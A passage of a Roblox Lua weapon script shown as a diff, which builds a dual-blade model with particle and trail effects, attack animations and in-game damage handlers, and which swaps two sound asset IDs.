3011 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3012 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3013 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
3014 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3015 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
3016 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3017 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3018 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3019 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
3020 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3021 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
3022 | ||
3023 | p = game.Players.LocalPlayer | |
3024 | char = p.Character | |
3025 | torso = char.Torso | |
3026 | neck = char.Torso.Neck | |
3027 | hum = char.Humanoid | |
3028 | hum.MaxHealth = 1527500 | |
3029 | wait() | |
3030 | hum.Health =hum.MaxHealth | |
3031 | ||
3032 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
3033 | particleemitter.VelocitySpread = 180 | |
3034 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3035 | particleemitter.Speed = NumberRange.new(2) | |
3036 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3037 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3038 | particleemitter.Rate = 100 | |
3039 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3040 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3041 | particleemitter.LightEmission = 0.8 | |
3042 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3043 | ||
3044 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
3045 | particleemitter.VelocitySpread = 180 | |
3046 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3047 | particleemitter.Speed = NumberRange.new(2) | |
3048 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3049 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3050 | particleemitter.Rate = 100 | |
3051 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3052 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3053 | particleemitter.LightEmission = 0.8 | |
3054 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3055 | ||
3056 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
3057 | particleemitter.VelocitySpread = 180 | |
3058 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3059 | particleemitter.Speed = NumberRange.new(2) | |
3060 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
3061 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3062 | particleemitter.Rate = 100 | |
3063 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3064 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3065 | particleemitter.LightEmission = 0.8 | |
3066 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3067 | ||
3068 | particleemitter.Enabled = true | |
3069 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
3070 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
3071 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
3072 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
3073 | for i=0,1,0.005 do | |
3074 | swait() | |
3075 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3076 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3077 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3078 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3079 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3080 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3081 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3082 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3083 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3084 | end | |
3085 | for i=0,1,0.04 do | |
3086 | swait() | |
3087 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3088 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3089 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3090 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3091 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3092 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3093 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3094 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3095 | end | |
3096 | attack = false | |
3097 | end | |
3098 | end | |
3099 | end) | |
3100 | ||
3101 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
3102 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
3103 | prt.Anchored=true | |
3104 | prt.CFrame=cframe | |
3105 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
3106 | game:GetService("Debris"):AddItem(prt,2) | |
3107 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
3108 | for i=0,1,delay do | |
3109 | wait() | |
3110 | Part.CFrame=Part.CFrame | |
3111 | Part.Transparency=i | |
3112 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
3113 | end | |
3114 | Part.Parent=nil | |
3115 | end),prt,msh) | |
3116 | end | |
3117 | ||
3118 | TrailDeb = false | |
3119 | ||
3120 | function equipanim() | |
3121 | attack=true | |
3122 | Humanoid.WalkSpeed = 0 | |
3123 | if TrailDeb == false then | |
3124 | TrailDeb = true | |
3125 | end | |
3126 | ||
3127 | ||
3128 | coroutine.wrap(function() | |
3129 | local Old = handle.CFrame.p | |
3130 | while wait()do | |
3131 | if not TrailDeb then break end | |
3132 | local New = handle.CFrame.p | |
3133 | local Mag =(Old -New).magnitude | |
3134 | local Dis =(Old +New)/2 | |
3135 | local Trail = Instance.new("Part",Character) | |
3136 | Trail.Material = "Neon" | |
3137 | Trail.Anchored = true | |
3138 | Trail.CanCollide = false | |
3139 | Trail.BrickColor = TorsoColor | |
3140 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3141 | Trail.TopSurface = 0 | |
3142 | Trail.BottomSurface = 0 | |
3143 | Trail.formFactor = "Custom" | |
3144 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3145 | local ms = Instance.new("BlockMesh",Trail) | |
3146 | ms.Scale = Vector3.new(1,1,1) | |
3147 | local TM = Instance.new("CylinderMesh",Trail) | |
3148 | TM.Scale = Vector3.new(1,1,1) | |
3149 | Old = New | |
3150 | coroutine.wrap(function() | |
3151 | for i = 1,0,-0.1 do | |
3152 | wait() | |
3153 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3154 | end | |
3155 | Trail:remove() | |
3156 | end)() | |
3157 | coroutine.wrap(function() | |
3158 | for i = 1,10 do | |
3159 | wait() | |
3160 | Trail.Transparency = Trail.Transparency +0.1 | |
3161 | end end)()end end)() | |
3162 | coroutine.wrap(function() | |
3163 | local Old = Handle.CFrame.p | |
3164 | while wait()do | |
3165 | if not TrailDeb then break end | |
3166 | local New = Handle.CFrame.p | |
3167 | local Mag =(Old -New).magnitude | |
3168 | local Dis =(Old +New)/2 | |
3169 | local Trail = Instance.new("Part",Character) | |
3170 | Trail.Material = "Neon" | |
3171 | Trail.Anchored = true | |
3172 | Trail.CanCollide = false | |
3173 | Trail.BrickColor = TorsoColor | |
3174 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3175 | Trail.TopSurface = 0 | |
3176 | Trail.BottomSurface = 0 | |
3177 | Trail.formFactor = "Custom" | |
3178 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3179 | local ms = Instance.new("BlockMesh",Trail) | |
3180 | ms.Scale = Vector3.new(1,1,1) | |
3181 | local TM = Instance.new("CylinderMesh",Trail) | |
3182 | TM.Scale = Vector3.new(1,1,1) | |
3183 | Old = New | |
3184 | coroutine.wrap(function() | |
3185 | for i = 1,0,-0.1 do | |
3186 | wait() | |
3187 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3188 | end | |
3189 | Trail:remove() | |
3190 | end)() | |
3191 | coroutine.wrap(function() | |
3192 | for i = 1,10 do | |
3193 | wait() | |
3194 | Trail.Transparency = Trail.Transparency +0.1 | |
3195 | end end)()end end)() | |
3196 | coroutine.wrap(function() | |
3197 | local Old = Handle2.CFrame.p | |
3198 | while wait()do | |
3199 | if not TrailDeb then break end | |
3200 | local New = Handle2.CFrame.p | |
3201 | local Mag =(Old -New).magnitude | |
3202 | local Dis =(Old +New)/2 | |
3203 | local Trail = Instance.new("Part",Character) | |
3204 | Trail.Material = "Neon" | |
3205 | Trail.Anchored = true | |
3206 | Trail.CanCollide = false | |
3207 | Trail.BrickColor = TorsoColor | |
3208 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3209 | Trail.TopSurface = 0 | |
3210 | Trail.BottomSurface = 0 | |
3211 | Trail.formFactor = "Custom" | |
3212 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3213 | local ms = Instance.new("BlockMesh",Trail) | |
3214 | ms.Scale = Vector3.new(1,1,1) | |
3215 | local TM = Instance.new("CylinderMesh",Trail) | |
3216 | TM.Scale = Vector3.new(1,1,1) | |
3217 | Old = New | |
3218 | coroutine.wrap(function() | |
3219 | for i = 1,0,-0.1 do | |
3220 | wait() | |
3221 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3222 | end | |
3223 | Trail:remove() | |
3224 | end)() | |
3225 | coroutine.wrap(function() | |
3226 | for i = 1,10 do | |
3227 | wait() | |
3228 | Trail.Transparency = Trail.Transparency +0.1 | |
3229 | end end)()end end)() | |
3230 | so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) | |
3231 | for i=0,1,0.005 do | |
3232 | swait() | |
3233 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) | |
3234 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3235 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3236 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3237 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3238 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3239 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3240 | end | |
3241 | for i=0,1,0.005 do | |
3242 | swait() | |
3243 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) | |
3244 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3245 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3246 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3247 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3248 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3249 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3250 | end | |
3251 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3252 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3253 | for i=0,1,0.005 do | |
3254 | swait() | |
3255 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3256 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3257 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3258 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3259 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3260 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3261 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3262 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3263 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3264 | end | |
3265 | for i=0,1,0.04 do | |
3266 | swait() | |
3267 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3268 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3269 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3270 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3271 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3272 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3273 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3274 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3275 | end | |
3276 | --dmgstop() | |
3277 | attack=false | |
3278 | Humanoid.WalkSpeed = 12 | |
3279 | if TrailDeb == true then | |
3280 | TrailDeb = false | |
3281 | end | |
3282 | end | |
3283 | ||
3284 | function attackone() | |
3285 | attack=true | |
3286 | if TrailDeb == false then | |
3287 | TrailDeb = true | |
3288 | end | |
3289 | ||
3290 | ||
3291 | coroutine.wrap(function() | |
3292 | local Old = Handle.CFrame.p | |
3293 | while wait()do | |
3294 | if not TrailDeb then break end | |
3295 | local New = Handle.CFrame.p | |
3296 | local Mag =(Old -New).magnitude | |
3297 | local Dis =(Old +New)/2 | |
3298 | local Trail = Instance.new("Part",Character) | |
3299 | Trail.Material = "Neon" | |
3300 | Trail.Anchored = true | |
3301 | Trail.CanCollide = false | |
3302 | Trail.BrickColor = TorsoColor | |
3303 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3304 | Trail.TopSurface = 0 | |
3305 | Trail.BottomSurface = 0 | |
3306 | Trail.formFactor = "Custom" | |
3307 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3308 | local ms = Instance.new("BlockMesh",Trail) | |
3309 | ms.Scale = Vector3.new(1,1,1) | |
3310 | local TM = Instance.new("CylinderMesh",Trail) | |
3311 | TM.Scale = Vector3.new(1,1,1) | |
3312 | Old = New | |
3313 | coroutine.wrap(function() | |
3314 | for i = 1,0,-0.1 do | |
3315 | wait() | |
3316 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3317 | end | |
3318 | Trail:remove() | |
3319 | end)() | |
3320 | coroutine.wrap(function() | |
3321 | for i = 1,10 do | |
3322 | wait() | |
3323 | Trail.Transparency = Trail.Transparency +0.1 | |
3324 | end end)()end end)() | |
3325 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3326 | for i=0,1,0.08 do | |
3327 | swait() | |
3328 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) | |
3329 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) | |
3330 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3331 | Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
3332 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3333 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) | |
3334 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3335 | end | |
3336 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) | |
3337 | - | so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) |
3337 | + | so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) |
3338 | for i=0,1,0.1 do | |
3339 | swait() | |
3340 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) | |
3341 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3342 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3343 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) | |
3344 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3345 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) | |
3346 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3347 | end | |
3348 | --dmgstop() | |
3349 | attack=false | |
3350 | con1:disconnect() | |
3351 | if TrailDeb == true then | |
3352 | TrailDeb = false | |
3353 | end | |
3354 | end | |
3355 | ||
3356 | function attacktwo() | |
3357 | attack=true | |
3358 | if TrailDeb == false then | |
3359 | TrailDeb = true | |
3360 | end | |
3361 | ||
3362 | ||
3363 | coroutine.wrap(function() | |
3364 | local Old = Handle2.CFrame.p | |
3365 | while wait()do | |
3366 | if not TrailDeb then break end | |
3367 | local New = Handle2.CFrame.p | |
3368 | local Mag =(Old -New).magnitude | |
3369 | local Dis =(Old +New)/2 | |
3370 | local Trail = Instance.new("Part",Character) | |
3371 | Trail.Material = "Neon" | |
3372 | Trail.Anchored = true | |
3373 | Trail.CanCollide = false | |
3374 | Trail.BrickColor = TorsoColor | |
3375 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3376 | Trail.TopSurface = 0 | |
3377 | Trail.BottomSurface = 0 | |
3378 | Trail.formFactor = "Custom" | |
3379 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3380 | local ms = Instance.new("BlockMesh",Trail) | |
3381 | ms.Scale = Vector3.new(1,1,1) | |
3382 | local TM = Instance.new("CylinderMesh",Trail) | |
3383 | TM.Scale = Vector3.new(1,1,1) | |
3384 | Old = New | |
3385 | coroutine.wrap(function() | |
3386 | for i = 1,0,-0.1 do | |
3387 | wait() | |
3388 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3389 | end | |
3390 | Trail:remove() | |
3391 | end)() | |
3392 | coroutine.wrap(function() | |
3393 | for i = 1,10 do | |
3394 | wait() | |
3395 | Trail.Transparency = Trail.Transparency +0.1 | |
3396 | end end)()end end)() | |
3397 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3398 | for i=0,1,0.08 do | |
3399 | swait() | |
3400 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3401 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3402 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3403 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) | |
3404 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3405 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
3406 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3407 | end | |
3408 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
3409 | - | so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) |
3409 | + | so("http://www.roblox.com/asset/?id=1295446488",Torso,1,1) |
3410 | for i=0,1,0.1 do | |
3411 | swait() | |
3412 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3413 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3414 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3415 | Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) | |
3416 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3417 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3418 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3419 | end | |
3420 | --dmgstop() | |
3421 | attack=false | |
3422 | con1:disconnect() | |
3423 | if TrailDeb == true then | |
3424 | TrailDeb = false | |
3425 | end | |
3426 | end | |
3427 | ||
3428 | function attackthree() | |
3429 | attack=true | |
3430 | if TrailDeb == false then | |
3431 | TrailDeb = true | |
3432 | end | |
3433 | ||
3434 | ||
3435 | coroutine.wrap(function() | |
3436 | local Old = Handle.CFrame.p | |
3437 | while wait()do | |
3438 | if not TrailDeb then break end | |
3439 | local New = Handle.CFrame.p | |
3440 | local Mag =(Old -New).magnitude | |
3441 | local Dis =(Old +New)/2 | |
3442 | local Trail = Instance.new("Part",Character) | |
3443 | Trail.Material = "Neon" | |
3444 | Trail.Anchored = true | |
3445 | Trail.CanCollide = false | |
3446 | Trail.BrickColor = TorsoColor | |
3447 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3448 | Trail.TopSurface = 0 | |
3449 | Trail.BottomSurface = 0 | |
3450 | Trail.formFactor = "Custom" | |
3451 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3452 | local ms = Instance.new("BlockMesh",Trail) | |
3453 | ms.Scale = Vector3.new(1,1,1) | |
3454 | local TM = Instance.new("CylinderMesh",Trail) | |
3455 | TM.Scale = Vector3.new(1,1,1) | |
3456 | Old = New | |
3457 | coroutine.wrap(function() | |
3458 | for i = 1,0,-0.1 do | |
3459 | wait() | |
3460 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3461 | end | |
3462 | Trail:remove() | |
3463 | end)() | |
3464 | coroutine.wrap(function() | |
3465 | for i = 1,10 do | |
3466 | wait() | |
3467 | Trail.Transparency = Trail.Transparency +0.1 | |
3468 | end end)()end end)() | |
3469 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) | |
3470 | for i=0,1,0.08 do | |
3471 | swait() | |
3472 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) | |
3473 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
3474 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3475 | Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) | |
3476 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3477 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3) | |
3478 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3479 | end | |
3480 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
3481 | so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) | |
3482 | for i=0,1,0.05 do | |
